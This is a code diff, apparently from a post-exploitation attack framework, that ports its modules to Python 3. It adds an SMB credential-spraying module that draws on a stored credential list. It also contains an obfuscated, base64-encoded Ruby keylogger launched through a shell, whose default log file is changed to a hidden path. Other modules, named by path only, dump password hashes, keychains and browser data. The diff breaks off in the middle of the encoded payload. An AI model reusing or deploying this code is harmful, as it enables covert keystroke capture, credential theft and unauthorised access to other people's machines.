1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
179182 try:
180183 f = open(moduleSource, 'r')
181184 except:
182 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
185 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
183186 return ""
184187
185188 moduleCode = f.read()
190193
191194 script += "\n" + moduleName + " "
192195
193 for option,values in self.options.iteritems():
196 for option,values in self.options.items():
194197 if option.lower() != "agent":
195198 if values['Value'] and values['Value'] != '':
196199 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
121124 try:
122125 f = open(moduleSource, 'r')
123126 except:
124 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
127 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
125128 return ""
126129
127130 moduleCode = f.read()
132135
133136 script += "\n" + moduleName + " "
134137
135 for option,values in self.options.iteritems():
138 for option,values in self.options.items():
136139 if option.lower() != "agent":
137140 if values['Value'] and values['Value'] != '':
138141 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/share_finder.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
134137 try:
135138 f = open(moduleSource, 'r')
136139 except:
137 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
140 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
138141 return ""
139142
140143 moduleCode = f.read()
145148
146149 script += "\n" + moduleName + " "
147150
148 for option,values in self.options.iteritems():
151 for option,values in self.options.items():
149152 if option.lower() != "agent":
150153 if values['Value'] and values['Value'] != '':
151154 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
195198 try:
196199 f = open(moduleSource, 'r')
197200 except:
198 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
201 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
199202 return ""
200203
201204 moduleCode = f.read()
206209
207210 script += "\n" + moduleName + " "
208211
209 for option,values in self.options.iteritems():
212 for option,values in self.options.items():
210213 if option.lower() != "agent":
211214 if values['Value'] and values['Value'] != '':
212215 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/reverse_dns.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6972 try:
7073 f = open(moduleSource, 'r')
7174 except:
72 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
75 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7376 return ""
7477
7578 moduleCode = f.read()
7982
8083 scriptEnd = "Invoke-ReverseDNSLookup"
8184
82 for option,values in self.options.iteritems():
85 for option,values in self.options.items():
8386 if option.lower() != "agent":
8487 if values['Value'] and values['Value'] != '':
8588 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/smbautobrute.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
110113 try:
111114 f = open(moduleSource, 'r')
112115 except:
113 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
116 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
114117 return ""
115118
116119 moduleCode = f.read()
120123 scriptEnd = "Invoke-SMBAutoBrute"
121124
122125 # add any arguments to the end execution of the script
123 for option,values in self.options.iteritems():
126 for option,values in self.options.items():
124127 if option.lower() != "agent":
125128 if values['Value'] and values['Value'] != '':
126129 if values['Value'].lower() == "true":
+135
-0
lib/modules/powershell/situational_awareness/network/smblogin.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module:
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Invoke-SMBLogin',
11
12 'Author': ['Mauricio Velazco (@mvelazco)'],
13
14 # More verbose multi-line description of the module
15 'Description': ('Validates username & password combination(s) across a host or group of hosts using the SMB protocol.'),
16
17 'Background': False,
18
19 'OutputExtension': None,
20
21 'NeedsAdmin': False,
22
23 'OpsecSafe': True,
24
25 'Language': 'powershell',
26
27 'MinLanguageVersion': '2',
28
29 'Comments': ['Github:','https://github.com/mvelazc0/Invoke-SMBLogin']
30 }
31
32 self.options = {
33 'Agent': {
34
35 'Description': 'Agent to grab a screenshot from.',
36 'Required' : True,
37 'Value' : ''
38 },
39 'CredID' : {
40 'Description' : 'CredID from the store to use.',
41 'Required' : False,
42 'Value' : ''
43 },
44 'ComputerName': {
45 'Description': 'A single computer name (ip) or a list of comma separated computer names (ips)',
46 'Required': True,
47 'Value': ''
48 },
49 'Domain': {
50 'Description': 'Domain to use. If not defined, local accounts will be used',
51 'Required': False,
52 'Value': ''
53 },
54 'UserName': {
55 'Description': 'A single username or a list of comma separated usernames',
56 'Required': True,
57 'Value': ''
58 },
59 'Password': {
60 'Description': 'A single password or list of comma separated passwords',
61 'Required': True,
62 'Value': ''
63 }
64 }
65
66 self.mainMenu = mainMenu
67
68 if params:
69 for param in params:
70 # Parameter format is [Name, Value]
71 option, value = param
72 if option in self.options:
73 self.options[option]['Value'] = value
74
75
76 def generate(self, obfuscate=False, obfuscationCommand=""):
77
78 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SMBLogin.ps1"
79 if obfuscate:
80 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
81 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
82 try:
83 f = open(moduleSource, 'r')
84 except:
85 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
86 return ""
87
88 moduleCode = f.read()
89 f.close()
90 script = moduleCode
91 scriptEnd = ""
92
93 # if a credential ID is specified, try to parse
94 credID = self.options["CredID"]['Value']
95 if credID != "":
96
97 if not self.mainMenu.credentials.is_credential_valid(credID):
98 print
99 helpers.color("[!] CredID is invalid!")
100 return ""
101
102 (credID, credType, domainName, userName, password, host, os, sid, notes) = \
103 self.mainMenu.credentials.get_credentials(credID)[0]
104
105 if domainName != "":
106 self.options["Domain"]['Value'] = str(domainName)
107 self.options["UserName"]['Value'] = str(userName)
108 else:
109 self.options["UserName"]['Value'] = str(userName)
110 self.options["Domain"]['Value'] = ""
111 if password != "":
112 self.options["Password"]['Value'] = password
113
114 if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
115 print
116 helpers.color("[!] Username and password must be specified.")
117
118 scriptEnd += "Invoke-SMBLogin"
119
120 for option, values in self.options.items():
121 if option.lower() != "agent" and option.lower() != "credid":
122 if values['Value'] and values['Value'] != '':
123 if values['Value'].lower() == "true":
124 scriptEnd += " -" + str(option)
125 else:
126 scriptEnd += " -" + str(option) + " " + str(values['Value'])
127 if obfuscate:
128 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
129
130 scriptEnd += "| Out-String | %{$_ + \"`n\"};"
131 scriptEnd += "'Invoke-SMBLogin completed'"
132
133 script += scriptEnd
134 return script⏎
+8
-5
lib/modules/powershell/situational_awareness/network/smbscanner.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
97100 if credID != "":
98101
99102 if not self.mainMenu.credentials.is_credential_valid(credID):
100 print helpers.color("[!] CredID is invalid!")
103 print(helpers.color("[!] CredID is invalid!"))
101104 return ""
102105
103106 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
111114
112115
113116 if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
114 print helpers.color("[!] Username and password must be specified.")
117 print(helpers.color("[!] Username and password must be specified."))
115118
116119
117120 if (self.options['ComputerName']['Value'] != ''):
120123
121124 scriptEnd += "Invoke-SMBScanner "
122125
123 for option,values in self.options.iteritems():
126 for option,values in self.options.items():
124127 if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid":
125128 if values['Value'] and values['Value'] != '':
126129 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/trollsploit/get_schwifty.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8789 until ((Get-Date) -gt $EndTime)
8890 } Get-Schwifty"""
8991
90 for option,values in self.options.iteritems():
92 for option,values in self.options.items():
9193 if option.lower() != "agent" and option.lower() != "computername":
9294 if values['Value'] and values['Value'] != '':
9395 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/trollsploit/message.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8587 }
8688 Invoke-Message"""
8789
88 for option,values in self.options.iteritems():
90 for option,values in self.options.items():
8991 if option.lower() != "agent" and option.lower() != "computername":
9092 if values['Value'] and values['Value'] != '':
9193 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/trollsploit/process_killer.py less more
0 from builtins import str
1 from builtins import object
02 import base64
13 from lib.common import helpers
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
99101 Invoke-ProcessKiller"""
100102
101103
102 for option,values in self.options.iteritems():
104 for option,values in self.options.items():
103105 if option.lower() != "agent":
104106 if values['Value'] and values['Value'] != '':
105107 if values['Value'].lower() == "true":
+2
-1
lib/modules/powershell/trollsploit/rick_ascii.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+5
-2
lib/modules/powershell/trollsploit/rick_astley.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 script = f.read()
+4
-2
lib/modules/powershell/trollsploit/thunderstruck.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8789 until ((Get-Date) -gt $EndTime)
8890 } Invoke-Thunderstruck"""
8991
90 for option,values in self.options.iteritems():
92 for option,values in self.options.items():
9193 if option.lower() != "agent" and option.lower() != "computername":
9294 if values['Value'] and values['Value'] != '':
9395 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/trollsploit/voicetroll.py less more
0 from builtins import str
1 from builtins import object
02 import base64
13 from lib.common import helpers
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
7577 }
7678 Invoke-VoiceTroll"""
7779
78 for option,values in self.options.iteritems():
80 for option,values in self.options.items():
7981 if option.lower() != "agent" and option.lower() != "computername":
8082 if values['Value'] and values['Value'] != '':
8183 if values['Value'].lower() == "true":
+5
-3
lib/modules/powershell/trollsploit/wallpaper.py less more
0 from __future__ import print_function
1 from builtins import object
02 import base64
13 from lib.common import helpers
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
134136
135137 script += " -WallpaperData \"" + base64.b64encode(data) + "\""
136138 except:
137 print helpers.color("[!] Error reading local image path.")
139 print(helpers.color("[!] Error reading local image path."))
138140 return ""
139141 else:
140 print helpers.color("[!] Please specify a valid local image path.")
142 print(helpers.color("[!] Please specify a valid local image path."))
141143 return ""
142144
143145 script += "; 'Set-Wallpaper executed'"
+4
-2
lib/modules/powershell/trollsploit/wlmdr.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
98100 }
99101 Invoke-Wlrmdr"""
100102
101 for option,values in self.options.iteritems():
103 for option,values in self.options.items():
102104 if option.lower() != "agent" and option.lower() != "computername":
103105 if values['Value'] and values['Value'] != '':
104106 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell_template.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
98101 try:
99102 f = open(moduleSource, 'r')
100103 except:
101 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
104 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
102105 return ""
103106
104107 moduleCode = f.read()
129132 scriptEnd = ""
130133
131134 # Add any arguments to the end execution of the script
132 for option, values in self.options.iteritems():
135 for option, values in self.options.items():
133136 if option.lower() != "agent":
134137 if values['Value'] and values['Value'] != '':
135138 if values['Value'].lower() == "true":
+2
-1
lib/modules/python/collection/linux/hashdump.py less more
0 from builtins import object
01 from lib.common import helpers
12 import pdb
23
3 class Module:
4 class Module(object):
45
56 def __init__(self, mainMenu, params=[]):
67
+2
-1
lib/modules/python/collection/linux/keylogger.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/linux/mimipenguin.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/collection/linux/pillage_user.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+3
-1
lib/modules/python/collection/linux/sniffer.py less more
0 class Module:
0 from builtins import str
1 from builtins import object
2 class Module(object):
13
24 def __init__(self, mainMenu, params=[]):
35
+2
-1
lib/modules/python/collection/linux/xkeylogger.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/browser_dump.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/clipboard.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/hashdump.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+3
-1
lib/modules/python/collection/osx/imessage_dump.py less more
00 #!/usr/bin/env python
1 class Module:
1 from builtins import str
2 from builtins import object
3 class Module(object):
24 def __init__(self, mainMenu, params=[]):
35 # metadata info about the module, not modified during runtime
46 self.info = {
+2
-1
lib/modules/python/collection/osx/kerberosdump.py less more
0 from builtins import object
01 from lib.common import helpers
12
23
3 class Module:
4 class Module(object):
45
56 def __init__(self, mainMenu, params=[]):
67
+2
-1
lib/modules/python/collection/osx/keychaindump.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/keychaindump_chainbreaker.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/keychaindump_decrypt.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+6
-5
lib/modules/python/collection/osx/keylogger.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
45 # metadata info about the module, not modified during runtime
56 self.info = {
67 # name for the module that will appear in module menus
7 'Name': 'Webcam',
8 'Name': 'Keylogger',
89
910 # list of one or more authors for the module
10 'Author': ['joev', '@harmj0y'],
11 'Author': ['joev', '@harmj0y', '@Salbei_'],
1112
1213 # more verbose multi-line description of the module
1314 'Description': ("Logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is finished and download the specified LogFile."),
4950 'LogFile': {
5051 'Description' : 'Text file to log keystrokes out to.',
5152 'Required' : True,
52 'Value' : '/tmp/debug.db'
53 'Value' : '/tmp/.debug.db'
5354 }
5455 }
5556
7576 # base64'ed launcher of ./data/misc/keylogger.rb from MSF
7677 script = """
7778 import os,time
78 output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK\\\'))" | ruby > %s &').read()
79 output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'ZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8NCiAgUlVCWV9WRVJTSU9OLnRvX2YgPj0gMS45ICYmIFJVQllfVkVSU0lPTi50b19mPDIuMw0KZW5kDQpkZWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAyLjMNCmVuZA0KcmVxdWlyZSAndGhyZWFkJw0KcmVxdWlyZSAnZmlkZGxlJyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdmaWRkbGUvaW1wb3J0JyBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQpyZXF1aXJlICdkbCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCnJlcXVpcmUgJ2RsL2ltcG9ydCcgaWYgbm90IHJ1YnlfMl8zX29yX2hpZ2hlcj8NCkltcG9ydGVyID0gaWYgZGVmaW5lZD8oREw6OkltcG9ydGVyKSB0aGVuIGV4dGVuZCBETDo6SW1wb3J0ZXIgZWxzaWYgZGVmaW5lZD8oRmlkZGxlOjpJbXBvcnRlcikgdGhlbiBleHRlbmQgRmlkZGxlOjpJbXBvcnRlciBlbHNlIERMOjpJbXBvcnRhYmxlIGVuZA0KZGVmIG1hbGxvY3Moc2l6ZSkNCiAgaWYgcnVieV8yXzNfb3JfaGlnaGVyPw0KICAgIEZpZGRsZTo6UG9pbnRlci5tYWxsb2Moc2l6ZSkNCiAgZWxzaWYgcnVieV8xXzlfb3JfaGlnaGVyPyANCiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkNCiAgZWxzZQ0KICAgIERMOjptYWxsb2Moc2l6ZSkNCiAgZW5kDQplbmQNCmlmIG5vdCBydWJ5XzFfOV9vcl9oaWdoZXI/DQogIG1vZHVsZSBETA0KICAgIG1vZHVsZSBJbXBvcnRhYmxlDQogICAgICBkZWYgbWV0aG9kX21pc3NpbmcobWV0aCwgKmFyZ3MsICZibG9jaykNCiAgICAgICAgc3RyID0gbWV0aC50b19zDQogICAgICAgIGxvd2VyID0gc3RyWzAsMV0uZG93bmNhc2UgKyBzdHJbMS4uLTFdDQogICAgICAgIGlmIHNlbGYucmVzcG9uZF90bz8gbG93ZXINCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzDQogICAgICAgIGVsc2UNCiAgICAgICAgICBzdXBlcg0KICAgICAgICBlbmQNCiAgICAgIGVuZA0KICAgIGVuZA0KICBlbmQNCmVuZA0KU01fS0NIUl9DQUNIRSA9IDM4DQpTTV9DVVJSRU5UX1NDUklQVCA9IC0yDQpNQVhfQVBQX05BTUUgPSA4MA0KbW9kdWxlIENhcmJvbg0KICBpZiBydWJ5XzJfM19vcl9oaWdoZXI/DQogICAgZXh0ZW5kIEZpZGRsZTo6SW1wb3J0ZXINCiAgZWxzZQ0KICAgIGV4dGVuZCBETDo6SW1wb3J0ZXINCiAgZW5kDQogIGRsbG9hZCAnL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvQ2FyYm9uLmZyYW1ld29yay9DYXJib24nDQogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJw0KICBleHRlcm4gJ3ZvaWQgR2V0RnJvbnRQcm9jZXNzKFByb2Nlc3NTZXJpYWxOdW1iZXIgKiknDQogIGV4dGVybiAndm9pZCBHZXRLZXlzKHZvaWQgKiknDQogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgS2V5VHJhbnNsYXRlKHZvaWQgKiwgaW50LCB2b2lkICopJw0KICBleHRlcm4gJ3Vuc2lnbmVkIGNoYXIgQ0ZTdHJpbmdHZXRDU3RyaW5nKHZvaWQgKiwgdm9pZCAqLCBpbnQsIGludCknDQogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknDQplbmQNCnBzbiA9IG1hbGxvY3MoMTYpDQpuYW1lID0gbWFsbG9jcygxNikNCm5hbWVfY3N0ciA9IG1hbGxvY3MoTUFYX0FQUF9OQU1FKQ0Ka2V5bWFwID0gbWFsbG9jcygxNikNCnN0YXRlID0gbWFsbG9jcyg4KQ0KaX